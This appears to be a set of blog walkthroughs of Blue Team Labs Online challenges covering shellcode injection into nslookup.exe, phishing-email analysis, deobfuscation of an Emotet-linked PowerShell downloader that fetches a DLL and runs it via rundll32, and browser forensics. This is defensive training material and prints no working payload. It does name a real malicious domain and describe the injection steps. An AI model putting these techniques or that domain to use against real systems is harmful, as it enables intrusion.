For this task, we’ll use Ghidra, another tool built into Flare-VM. Now, full disclosure — I have little experience with Ghidra outside of a lab or two. So, for some background on what Ghidra is, let’s refer to the project’s GitHub before we stumble through this together:

Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features.

Now, let’s launch Ghidra. When it starts up, we’ll create a project, drop in the analyseme.exe, and let Ghidra perform the initial analysis. Once that’s completed, we’ll have the symbol tree displayed on the left, the listing contents in the center, and the decompile window on the right.

To answer Question 2, we’re looking for a sleep function to determine how long the malware sleeps after execution. To orient ourselves, let’s search the program text for "sleep" by pressing Search, then Search Program Text, and entering sleep in the Search For field.

Ghidra: Searching for the references to sleep

Selecting the entry in the search takes us directly to the referenced pointer in the listing window. Notice the DWORD dwMilliseconds? Keep that in mind. Next, let’s figure out where this is referenced by clicking FUN_00401220:00401252 (R) which I’ve highlighted below.

Ghidra: Clicking the associated function

Now, focusing on the decompile window on the right-hand side of Ghidra. Here we see a value of [Sleep(180000)](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep).

Ghidra: Identifying the sleep value

Recall the DWORD dwMilliseconds we flagged earlier? All we have to do now is convert 180000 milliseconds to minutes, and we’ve got our answer:

180000 milliseconds = 3 minutes

Question 3: After the sleep time, it prompts for user password, what is the correct password?

For our next task, we need to discover the correct password required to execute the malware after the sleep time we found in Question 2. This likely means we’re looking for an if statement that checks for a specific password.

One way to approach this is to use Ghidra to search for text strings in the application that might indicate a hardcoded password. To do this, press Search > String Search to get an overview of strings that appear in the binary. But first, let’s change the minimum length from 5 to 3 — just in case the password is shorter than 5 characters because, security 😋.

Ghidra: String search interface

After reviewing the results, we’ll stumble on an interesting string, btlo, with the label DAT_00403210 — this sticks out as a bit odd.

Ghidra: Identifying interesting string

Clicking the string brings us back to FUN_00401220, where we previously identified the sleep timer. In the decompile window, it seems this string is tied to an if statement, leading us to the conclusion that this is probably the correct password.

Ghidra: Analyzing the location of the string in the function

This is only a lucky guess approach since we don’t know for sure that this is the password we’re looking for just yet. We’ll validate this later in the challenge when we execute the malware, but we can submit the flag to check our work.

Question 4: What is the size of the shellcode?

Keep scrolling down in FUN_00401220 and we’ll discover a call to VirtualAllocEx on line 106. According to Microsoft Learn, the VirtualAllocEx function reserves a memory region within the virtual address space of a target process. Given the context of this investigation, it seems likely this could be used for process injection.

If you’re unfamiliar with this technique, I’ll include a short description from MITRE ATT&CK: T1055 — Process Injection:

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges.

Ghidra: Identifying the shellcode size

This question feels a little out of order since we’ll learn more about the method of shellcode injection and the victim process in the next couple of questions.

For the purposes of Question 4 we’ll need the decimal value of the memory allocation. Hover over the hex value 0x1d9 to see the automatic conversion — which is 473.

Question 5: Shellcode injection involves three important windows API. What is the name of the API Call used?

We got a little ahead of ourselves while investigating Question 4 and spoiled the fun. Question 5 confirms we’re looking at shellcode injection, and now we need to determine which API call is used to perform it.

Let’s pull back and lean on the reference link provided by BTLO for the challenge:

CreateRemoteThread Shellcode Injection | Red Team Notes _Injecting shellcode into a local process._www.ired.team

This is an excellent reference point to help explain what we’re seeing: injecting shellcode into a remote process using [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread). The proof-of-concept payload included in the blog even features something we saw in the last question, creating the VirtualAllocEx to accommodate the shellcode.

Let’s flip back to the sample we’re analyzing in Ghidra. A few lines further down in the code (line 108), we’ll see a reference to this exact API — CreateRemoteThread.

Ghidra: Identifying the shellcode injection API call

This confirms that the sample we’re analyzing matches the technique discussed in the Red Team Notes blog.

Question 6: What is the name of the victim process?

So, let’s put this all together: in Question 4, we determined where the injection happens using the VirtualAllocEx function. In Question 5, we learned how the injection is performed using CreateRemoteThread. The last thing we need to determine is what victim process was injected, right?

For this, jump up to line 101 in Ghidra, where we can see a call to CreateProcessW. The target process being launched is nslookup.exe, a trusted Windows binary. Because it blends into legitimate operations, using it can make malicious activity more difficult to detect. Very sneaky!

Ghidra: Identifying the victim process

Importantly, this confirms that nslookup.exe is the victim process (the one receiving the injected shellcode).

Questions 7, 8, & 9:

What is the file created by the sample

What is the message in the created file

What is the program that the shellcode used to create and write this file

For our final three tasks, we need to uncover what this malware sample does after execution. To do this, we’re switching gears — moving away from static analysis in Ghidra to dynamic analysis by actually executing the malware and capturing runtime behavior.

We’ll use Process Monitor (ProcMon) from the Microsoft Sysinternals suite. Process Monitor is “an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity.”

Using this utility helps us collect insights into what the malware does upon execution. First, launch ProcMon and let it run to capture system activity.

Next, double-click and execute the analyseme.exe sample. Immediately, a command prompt window opens with a ?. Remember the sleep timer from Question 2? We need to wait 3 minutes for the malware to continue…

Executing the malware for dynamic analysis

Once the 3 minutes have passed, we’re prompted for a password. Now we can finally validate the password string we identified in Question 3. Once the password is accepted, the window closes.

Inputting the password string into the malware

But what really happened? Let’s turn to ProcMon to see behind the scenes. In the main window, press the Process Tree view button, and search for the parent process analyseme.exe.

ProcMon: Identifying processes spawned by the malware

We’ll see that the malicious binary spawned a few child processes — including powershell.exe. Clicking the powershell.exe entry reveals an encoded (-enc) command line. Now we need to decode this command to understand what happened.

To decode the PowerShell command line, flip over to CyberChef. I used the version built into Flare-VM, but the online version works just as well.

Once CyberChef is open, paste the encoded command into the input field. Then, from the operations column on the left, add the From Base64 and Remove null bytes operations to the recipe.

CyberChef: Decoding the PowerShell command line

Once the operation completes, the output window reveals the decoded contents of the command — giving us everything we need to answer the final three questions:

The shellcode executes powershell.exe, via the New-Item cmdlet to create a new file: btlo.txt
The file is created in the C:\Windows\Temp directory
The message written to the file is: “Welcome to BTLO!”

Conclusion:

There we have it, folks! After performing initial file identification with PEiD, we dove headfirst into Ghidra to run some static analysis and uncover the sleep time, password string, shellcode size, and the process injection technique used by this malware. Once we confirmed it was a shellcode injection, we identified the victim process. From there, we pivoted to dynamic analysis — executing the malware in our analysis environment and capturing system activity with ProcMon. That led us to a PowerShell command that created a file and wrote a message, giving us the final answers we needed.

A big thank you to Blue Team Labs Online for another awesome challenge! Reverse engineering and static malware analysis are weaker spots in my skillset, so I like to keep these kinds of challenges in the rotation to continuously improve. There was some stumbling along the way, but leveraging Ghidra to analyze and decompile malware code is incredibly helpful for building foundational knowledge. While online sandboxes like ANY.RUN are popular for dynamic analysis, it’s always good to learn offline techniques like using ProcMon to dig deeper.

All in all, this was a valuable experience and a fun challenge for the week. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/reverse-engineering-a-classic-injection-9791a9b784

Flare-VM: https://github.com/mandiant/flare-vm

Ghidra: https://github.com/NationalSecurityAgency/ghidra

Microsoft Learn — Sleep Function: Sleep function (synchapi.h) — Win32 apps | Microsoft Learn

Microsoft Learn — VirtualAllocEx: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

MITRE ATT&CK: T1055 — Process Injection: Process Injection, Technique T1055 — Enterprise | MITRE ATT&CK®

Microsoft Learn-CreateRemoteThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

Red Team Notes — “CreateRemoteThread Shellcode Injection”: https://www.ired.team/offensive-security/code-injection-process-injection/process-injection

Sysinternals — Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

CyberChef: https://gchq.github.io/CyberChef/

Blue Team Labs Online — The Planet’s Prestige Walkthrough

Sun, 22 Jun 2025 00:00:00 +0000

Blue Team Labs Online — The Planet’s Prestige Walkthrough

An Email Header and Content Analysis Challenge Using CyberChef & zipdump.py.

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to The Planet’s Prestige challenge from Blue Team Labs Online, you’re in the right place. This challenge will take us on a thrilling intergalactic rescue mission starting with just a single email. Prepare for blast off!

Challenge Scenario:

CoCanDa, a planet known as ‘The Heaven of the Universe’ has been having a bad year. A series of riots have taken place across the planet due to the frequent abduction of citizens, known as CoCanDians, by a mysterious force. CoCanDa’s Planetary President arranged a war-room with the best brains and military leaders to work on a solution. After the meeting concluded the President was informed his daughter had disappeared. CoCanDa agents spread across multiple planets were working day and night to locate her. Two days later and there’s no update on the situation, no demand for ransom, not even a single clue regarding the whereabouts of the missing people. On the third day a CoCanDa representative, an Army Major on Earth, received an email.

In this challenge, the stakes are high: the daughter of the President of planet CoCanDa has vanished. While agents are scattered across the system searching for her, we’re plugging away in the SOC, keeping systems safe. Suddenly, an Army Major back on Earth receives a suspicious email — could it be a clue? It’s our job to find out.

For this investigation, we’ll be leveraging CyberChef, “The Cyber Swiss Army Knife,” to perform the bulk of our analysis. When we need to dig deeper, we’ll call in reinforcements with Didier Stevens’ zipdump.py utility to aid in the investigation. There are many ways to approach this challenge, and this is just one path, but the goal is to give you a working knowledge of CyberChef you can take back with you to planet Earth. Let’s get to it!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! When working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.

To keep this write-up focused, I’m going to skip step-by-step setup directions of REMnux, but if you’d like to set up your own environment, please follow the guide provided by REMnux directly. For reference, I used the virtual appliance method:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–)

Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What is the email service used by the malicious actor?

Let’s kick off our investigation by analyzing the email received by the CoCanDa representative. First, extract the ZIP file containing the artifact — A Hope to CoCanDa.eml.

We have a few methods we can use to open the .eml file, including a mail client or a simple text editor. But for this challenge, we’re going to take a different approach and leverage CyberChef, a multipurpose data manipulation and analysis tool, to perform the full investigation.

If you’re using REMnux like me, CyberChef is already built into the environment, but the web-based version works just as well — your choice! To start, open CyberChef and drag the .eml file into the input window. In the output window, we’ll be able to analyze the email headers.

To answer Question 1, we need to determine the email service that the message originated from. To do this, focus on the “Received” field, which shows all the mail servers the message passed through before delivery — the first one reveals the sender’s mail server as the origin.

CyberChef: Identifying the originating mail server

This is valuable information to determine the source of the email and help uncover any potential spoofing that may be occurring.

Question 2: What is the Reply-To email address?

To answer Question 2, we need to identify the “Reply-To” address within the email headers. Bad guys can, and often do, spoof the From address.

Sometimes, a mismatch between the From address and Reply-To can be a good indicator that something is amiss. While the “Reply-To” field can also be spoofed, it often reveals the attacker’s real email address, especially in phishing emails where replies are expected.

CyberChef: Identifying the Reply-To address

Scroll through the parsed headers and look for the “Reply-To” field. Notice that the email address is different than the From address? This discrepancy might reveal the attacker’s actual inbox.

Question 3: What is the filetype of the received attachment which helped to continue the investigation?

Moving right along! To answer Question 3, we need to determine the filetype of the email attachment.

In CyberChef, scroll down past the message headers to the section containing the attachment metadata (part of the MIME headers): Content-Type: application/pdf; name="PuzzleToCoCanDa.pdf"

Seems pretty straightforward, doesn’t it? But things aren’t always as they seem. While CyberChef displays the declared extension, this information can be spoofed.

To determine the true filetype of the attachment, we need to do a little more legwork. Between the header and the end of the email, there’s a large block of Base64-encoded data — this is the attachment itself.

CyberChef: Identifying the attachment as Base64-encoded data

–BOUND_600FB98E0DCEE8.49207210 Content-Type: application/pdf; name=“PuzzleToCoCanDa.pdf” Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=“PuzzleToCoCanDa.pdf”

[Base64 Encoded Data]

–BOUND_600FB98E0DCEE8.49207210–

To analyze it, copy that Base64-encoded block, then click the + symbol in the top right of CyberChef to add a new input tab. Paste the Base64 data into this new tab.

Now we’re going to build a quick recipe. Since we know the attachment is Base64-encoded, start by adding the “From Base64” operation. Next, add the “Extract Files” operation to leverage CyberChef’s parsing capabilities to identify the embedded files.

Once we’ve baked our recipe, we can see that the purported .pdf file isn’t a PDF at all, it’s actually a .zip archive!

Question 4: What is the name of the malicious actor?

Now that we’ve identified and extracted the .zip files, let’s go ahead and save them using the Save button in CyberChef next to each extracted file. For our investigation, we’ll focus on the largest file: extracted_at_0x0.zip.

Once it’s saved, extract the contents. Inside, you’ll find:

Image file (DaughtersCrown)
Document (GoodJobMajor)
Spreadsheet (Money.xlsx)

Our mission in Question 4 is to discover the name of the threat actor. Let’s start by analyzing the GoodJobMajor document in CyberChef. Click Open file as input, then select the document.

CyberChef: Opening the document as input

We’ll start with a blank slate, so remove all previous operations from the recipe. This time, we’ll only add the “Strings” operation, which extracts readable text from the file which is pretty useful for uncovering embedded metadata.

CyberChef: Using the Strings operation to identify the author’s name

By focusing on strings within the metadata, we can identify the author’s name under the /Author stream. In this case, the author field reveals the name of the malicious actor. Let’s submit our answer and move on to the next question!

Question 5: What is the location of the attacker in this Universe?

To answer Question 5, we’ll need to find some clues about the attacker’s physical location within the fictional universe of this challenge.

After analyzing the strings extracted from GoodJobMajor in CyberChef, we didn’t find anything else useful. So, let’s pivot to a second file from the extracted .zip archive: Money.xlsx.

To save you some time, simply using the “Strings” operation in CyberChef won’t help us here. Instead, we’ll bring in another tool: zipdump.py by Didier Stevens. (There are other ways to approach this, so feel free to get creative!)

You might be wondering why we’re using a ZIP analysis tool on an .xlsx file. Great question! File types like .docx, .pptx, and .xlsx are part of the Open Office XML (OOXML) standard, which means they’re actually ZIP archives under the hood.

According to Open Office:

A SpreadsheetML or .xlsx file is a zip file (a package) containing a number of “parts” (typically UTF-8 or UTF-16 encoded) or XML files. The package may also contain other media files such as images. The structure is organized according to the Open Packaging Conventions as outlined in Part 2 of the OOXML standard ECMA-376.

Pretty cool, huh? So, by leveraging zipdump.py, we can dump the contents of the .xlsx file and bring them into CyberChef for further analysis.

Let’s start by checking the available options for zipdump.py using the -h switch.

Zipdump.py Options

Then, we’ll try something simple: use the -A option to dump the ASCII contents of all parts of the Money.xlsx archive, specifying your own output directory:

zipdump.py -A Money.xlsx -o

After running the command, zipdump.py dumps the ASCII contents to a text file. Open this file as input with CyberChef and keep the “Strings” operation in the recipe.

As you scroll through the output, you’ll spot what appears to be a plain text message from the attacker. Unfortunately, there’s no clear text indicator of their location.

CyberChef: Identifying Base64-encoded string in the zipdump.py output

But take a closer look at the string immediately following the message. Could it be a Base64-encoded location? Let’s find out.

Open a new CyberChef tab and paste the suspicious string. First, remove any padding or extraneous characters so you’re left with just the encoded data. I did this manually by highlighting the extra bits and pressing delete.

CyberChef: Removing extraneous characters

Next, add the “From Base64” operation to the recipe to decode — and voilà — we’ve stumbled onto the attacker’s location! Awesome job!

CyberChef: Identifying the attacker’s secret lair

Question 6: What could be the probable C&C domain to control the attacker’s autonomous bots?

By analyzing the attachments, we’ve gained some insight into the attacker’s identity and motives, but we haven’t yet uncovered any indicators of the command and control (C&C) infrastructure — or have we?

Let’s jump all the way back to the email artifact and revisit the header details we uncovered in Question 1 and Question 2.

One important detail is the Reply-To address. As we discussed earlier, this is likely the attacker’s true email address, and the domain could be part of their operational infrastructure. In phishing or malware campaigns, attackers sometimes use the same domain for multiple purposes like hosting phishing pages, malware, or even command and control.

Since this is the only domain we’ve observed that’s directly tied to the attacker, it’s reasonable to assume that it might also serve as a C&C domain, or at least be part of the infrastructure used to manage the “autonomous bots.”

CyberChef: Identifying the Reply-To address / probable C&C domain

In the real world, this would be a solid starting point for collecting threat intelligence and enriching the data with a platform like VirusTotal. For the purposes of this challenge, however, the trail goes cold, so the Reply-To field is our best lead.

Conclusion:

Give yourself a pat on the back — we’ve earned the gratitude of planet CoCanDa! From a single email sent by the attacker, we’ve leveraged the power of CyberChef to unravel the attacker’s name, location, and supporting infrastructure. Nice job!

Now that we’ve found the location of the President’s daughter, let’s close out this walkthrough of The Planet’s Prestige.

A big thank you to Blue Team Labs Online for another engaging challenge — I really enjoyed the kitschy theme of this one! I chose it for the sci-fi flavor but stayed for the mystery. I was determined to push myself to use CyberChef in ways I hadn’t tried before and see how much of the investigation I could complete using just that one tool. I was genuinely surprised by some of the functionality I hadn’t discovered before. It just goes to show that you can always find new ways to use old tools.

While I eventually had to pivot to a second tool, I wasn’t disappointed. Getting more practice with zipdump.py was a bonus. It’s such a handy utility that I hadn’t used it in a while. This challenge was the perfect excuse to dust it off.

Thanks for your support and partnering on this investigation — I hope you had a blast!. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/the-planets-prestige-e5beb8e545

REMnux: https://remnux.org/

CyberChef: https://gchq.github.io/CyberChef/

Mailtrap.io — Email Header Explanations: https://mailtrap.io/blog/email-headers/

Didier Stevens — Zipdump.py: https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/

DidierStevensSuite — GitHub: https://github.com/DidierStevens/DidierStevensSuite

Open Office XML — SpreadsheetML: http://officeopenxml.com/anatomyofOOXML-xlsx.php

Blue Team Labs Online — Malicious PowerShell Analysis Walkthrough

Sun, 06 Apr 2025 00:00:00 +0000

Blue Team Labs Online — Malicious PowerShell Analysis Walkthrough

An incident response challenge using CyberChef and URLhaus.

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Malicious PowerShell Analysis challenge from Blue Team Labs Online, you’re in the right place.

In this scenario, an employee opened a phishing email and executed malware on their system, causing a business-wide disruption. As part of the incident response team, we’re provided an encoded PowerShell script and our mission is to analyze the contents of this script and identify the malware it contains.

To perform our investigation, we’ll hop into the kitchen with CyberChef, a popular tool to perform data decoding and analysis, to examine the PowerShell script. Throughout the investigation, we’ll map the adversary’s techniques and software to MITRE ATT&CK, a global knowledge base of adversary tactics and techniques, to gain a comprehensive understanding of the attack. Finally, we’ll leverage an external cyber threat intelligence service to uncover more details about the malware. Sounds like a good time to me — let’s get into it!

If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Challenge Scenario:

Recently the networks of a large company named GothamLegend were compromised after an employee opened a phishing email containing malware. The damage caused was critical and resulted in business-wide disruption. GothamLegend had to reach out to a third-party incident response team to assist with the investigation. You are a member of the IR team — all you have is an encoded Powershell script. Can you decode it and identify what malware is responsible for this attack?

Setup the REMnux Analysis Environment & Extract the challenge file:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–)

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What security protocol is being used for the communication with a malicious domain?

Let’s dive right in and extract the challenge file where we’ll find our sample, ps_script.txt. We can open this file with any text editor, but for this walkthrough, I’ll be using Notepad++.

Encoded PowerShell Command

Inside the file, the contents contain a block of Base64 encoded code indicated by the -ENCOD argument, which allows encoded commands to be passed and executed. This is a common defense evasion (MITRE ATT&CK T10027.010) method used by attackers to obfuscate their code.

Our first task is to decode this script to determine the goals of the attacker. We can accomplish this by leveraging CyberChef to help us deobfuscate the script using the following steps:

Open CyberChef — this is built into REMnux, but the web-based version works too.
Paste the encoded command into CyberChef’s “Input” window.
Apply the “From Base64” operation to the recipe.
Add the “Remove null bytes” operation.

Applying the From Base64 Operation

Applying the Remove Null Bytes Operation

We’re getting closer and we can identify some readable strings, but there is still some additional obfuscation to deal with. Going through the first couple of lines, we can identify several junk characters separating clear text words within the script.

To remove these characters:

Add the “Find/Replace” operation to the recipe.
Enter the regex [,'()+\"] to define the individual characters within the brackets we want to match. Feel free to add others if you spot them.
Leave the “Replace” field empty to replace the characters defined in the regex with blank characters.

We’re getting even closer to making the script human-readable but notice that the URL strings begin with ]anw[3 instead of something more familiar like http. Let’s add another “Find/Replace” operation, this time using the “Simple String” matching and replacing ]anw[3 with http to read the URLs more clearly.

Applying a second Find/Replace Operation

After this change, the script is much more readable, but let’s take this one step further and split the script into individual lines. We can accomplish this by adding one final operation to the recipe — “Split.” Once added to the recipe, set the split delimiter on the ; character to separate the commands into individual lines.

Applying the Split Operation

Finally, we have a much more readable version of the script which we can use to perform our analysis.

To answer Question 1, we need to identify the “security protocol” being used for communication with the malicious domain. We can locate this information in the script by finding the line referencing “security protocol,” where it shows a value of TLS12 or Transport Layer Security version 1.2.

Identifying the Security Protocol in the script

Question 2: What directory does the obfuscated PowerShell create? (Starting from \HOME)

Next, we’ll need to identify what directory the script creates. Since this is an obfuscated script, it’s not as straightforward as answering Question 1.

To find the first clue, let’s read through the script contents until we stumble across the highlighted variable cREAtedIRECTORy$HOME. This seems like a good place to start searching since there is a reference to the CreateDirectory method, and there are some obfuscated characters next to this string which might contain the file path.

Identifying the CreateDirectory method.

Let’s scroll further down for more clues where we’ll find a second reference to $HOME. The trick is that the string doesn’t look how we would expect a directory path to appear, so we’ll need to apply another operation to our CyberChef recipe to decode the correct file path structure.

Identifying the directory variable

If we look at the end of the variable, we can see the string UOH. Highlighting this reveals several instances in the same line. What if we replace this string with \ instead? Apply another “Find / Replace” to see the results.

Identifying the string to replace

Applying a second Find/Replace operation

Once we perform this replacement, we can see a clear file path declared by the variable. Let’s check our work and move on to the next question.

Question 3: What file is being downloaded (full name)?

Now that we’ve uncovered the directory the script creates, we’ll need to identify the name of the file it downloads. To locate this information, let’s search for clues in the script that point toward download activity. We can find this toward the bottom of the script in the [SysTem.nEt.WEBcLIeNT.doWNlOaDFIle](https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient?view=net-9.0) method, which is used to download data from a URI resource to a file — in this case, the URIs we decoded earlier.

At the end of the line, notice the reference to the variable $Imd1yck. This is the same variable that contains the directory we identified in the previous question.

Identifying DownloadFile activity in the script

Going back to the previous question, at the end of the line, we will see the file extension .dll appended to a variable, indicating the downloaded file. Highlighting the file name variable, we are shown another location in the script where the variable is declared, and we can see the data it contains — this is the file name we are searching for to answer Question 3.

Identifying the name of the downloaded file

Question 4: What is used to execute the downloaded file?

To determine how the A69S.dll file is executed, we need to look for another method in the script that executes this file. To find it, highlight the variable name $Imd1yck, which indicates the file path. Performing this action highlights all instances in the CyberChef output.

Let’s look more closely at the last hit where we can see rundll32 being used to execute the downloaded file (T1218.001).

Identifying rundll32

Question 5: What is the domain name of the URI ending in ‘/6F2gd/’

To answer Question 5, we’ll need to locate the domain name of a specific URI. Since we have already done the legwork and deobfuscated the URLs, we can leverage the “Find” function within CyberChef:

Click anywhere inside of the “Output” window.
Press Ctrl+F to bring up the search box.
Enter /6F2gd/ in the search box to identify the domain.

Identifying the domain name for the specified URI

Question 6: Based on the analysis of the obfuscated code, what is the name of the malware?

We’ve made it to the last question. Our final task is to correlate all the evidence we’ve discovered in the script to figure out the name of the malware. To do this, let’s start with the domain we discovered in the last question and pivot to some external threat intelligence services for further investigation.

We’ll start with URLhaus, a platform offered by cyber threat intelligence provider abuse.ch that is “dedicated to sharing malicious URLs that are being used for malware distribution,” and search the database for the domain name we found in Question 5.

https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net

Following our search, we have a hit! We can see in the “tags” area that this domain is associated with the Emotet malware family.

https://urlhaus.abuse.ch/url/948889/

This is enough data to determine the malware family name we are searching for to complete the challenge. Now let’s wrap up this investigation!

Conclusion:

There we have it — mission accomplished! Using CyberChef, we decoded and deobfuscated the malicious PowerShell script. By analyzing its contents, we determined the methods the script uses, URL it contacts, and the files the script downloads as a second stage. Then, using URLhaus, we pieced together the evidence to identify the malware as Emotet. Throughout the investigation, we referenced MITRE ATT&CK and Microsoft Learn to better understand how the script operates, giving us a comprehensive view of the attack.

Now that we’ve scoped the attack and completed our objectives, let’s close out this walkthrough of the Malicious PowerShell Analysis challenge!

A big thank you to Blue Team Labs Online for another engaging and challenging lab scenario. I chose this challenge to practice with CyberChef and keep my skills up to date. While I don’t often manually analyze scripts in my day job, it’s an essential skill to have in your toolkit to build confidence during incident response engagements, especially if you don’t have access to more advanced tools that can assist in your analysis. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable and it pumps me up to support your security journey. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

REMnux: https://remnux.org/

Challenge Link: https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef

Notepad++: https://notepad-plus-plus.org/

MITRE ATT&CK — Obfuscated Files or Information: Command Obfuscation ( T1027.010): https://attack.mitre.org/techniques/T1027/010/

CyberChef: https://gchq.github.io/CyberChef/

Microsoft Learn — WebClient Class: WebClient Class (System.Net) | Microsoft Learn

MITRE ATT&CK — System Binary Proxy Execution: Rundll32 ( T1218.011): System Binary Proxy Execution: Rundll32, Sub-technique T1218.011 — Enterprise | MITRE ATT&CK®

URLhaus: https://urlhaus.abuse.ch/browse.php?search=wm.mcdevelop.net

MITRE ATT&CK — Software: Emotet ( S0367): https://attack.mitre.org/software/S0367/

Blue Team Labs Online — Browser Forensics -Cryptominer Walkthrough

Mon, 10 Feb 2025 00:00:00 +0000

Blue Team Labs Online — Browser Forensics — Cryptominer Walkthrough

An incident response challenge using FTK Imager and the Google Chrome browser cache.

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Browser Forensics -Cryptominer challenge from Blue Team Labs Online, you’re in the right place.

In this incident response scenario, we’re handed a forensic image of a victim’s device suspected to be infected with crypto mining malware, and it’s up to us to uncover more details about the activity. Our objective is to analyze the local Google Chrome browser cache to identity the miner, determine if it’s malicious, and understand how it operates.

To perform the analysis, we’re going to leverage FTK Imager to explore the device image. Then, we’ll examine the Google Chrome cache and enrich our findings with some external research to learn more about the crypto miner. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Challenge Link: https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb

Challenge Scenario:

Our SOC alerted that there is some traffic related to crypto mining from a PC that was just joined to the network. The incident response team acted immediately, observed that the traffic is originating from browser applications. After collecting all key browser data using FTK Imager, it is your job to use the ad1 file to investigate the crypto mining activity.

Setup the Analysis Environment & Extract the challenge file:

Safety first! It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using FLARE-VM for this challenge and walkthrough.

[GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com](https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

– “https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

–”)[](https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

–)

Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start our investigation!

Question 1: How many browser-profiles are present in Google Chrome?

Let’s kick off this challenge by extracting the challenge file, TUJTWfM5uUCHWUHzC5cfEDVYZqw9tYSgS53jWRKc with the provided password. Inside, we’ll find a folder containing BrowserData.zip — Go ahead and extract that one, too.

This will give us the challenge file browserdata.ad1, a disk image file created by FTK Imager. If you aren’t familiar with it, FTK imager is a forensic hard disk imaging tool. For this challenge, we’ll use it to mount the evidence/challenge file so that we can analyze the file system within the image, search the user’s Chrome history, and even extract artifacts from the image.

To start, launch FTK Imager and load the file by pressing _File > Add Evidence Item > Image File > S_elect the extracted Challenge File (browserdata.ad1).

Loading the Challenge File in FTK Imager

Now that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.

Since the alert pointed to a browser-based attack, we need to navigate to the file path for the Google Chrome Browser data. You might be asking yourself, “where do I find that?” — great question! I’ll point to a handy resource from Foxton Forensics, Browser History Examiner — User Guide which can help point us in the right direction:

Location of Google Chrome history

Windows

C:\Users<username>\AppData\Local\Google\Chrome\User Data\Default C:\Users<username>\AppData\Local\Google\Chrome\User Data\Default\Cache

Back in FTK, navigate to that file path:

To answer Question 1, we’ll need to determine the location of the user profiles to analyze how many are present. Chrome profiles are stored in the user’s AppData > Local > User Data folder. Besides the default profile, additional profiles will be named “Profile #”.

Based on the evidence, there are two profiles: Default and Profile 1.

Question 2: What is the name of the browser theme installed on Google Chrome?

To answer Question 2, we’re searching for a browser theme. Let’s refer back to the Foxton Forensics guide where we’ll discover that user’s browser settings are stored in the Preferences JSON file.

Let’s check it out and leverage the “find” function to search for “theme.”

Examining the Preferences file for Google Chrome

This search leads us to a browser extension ID number. To get more information, let’s locate this extension in the Extensions folder by matching the string that we found in Preferences. Once inside of the corresponding Extensions folder, we need to find the theme’s name. This information might be found in the messages.json within the locales folder of the extension.

But first, let’s get some background on what the messages.json is from Google:

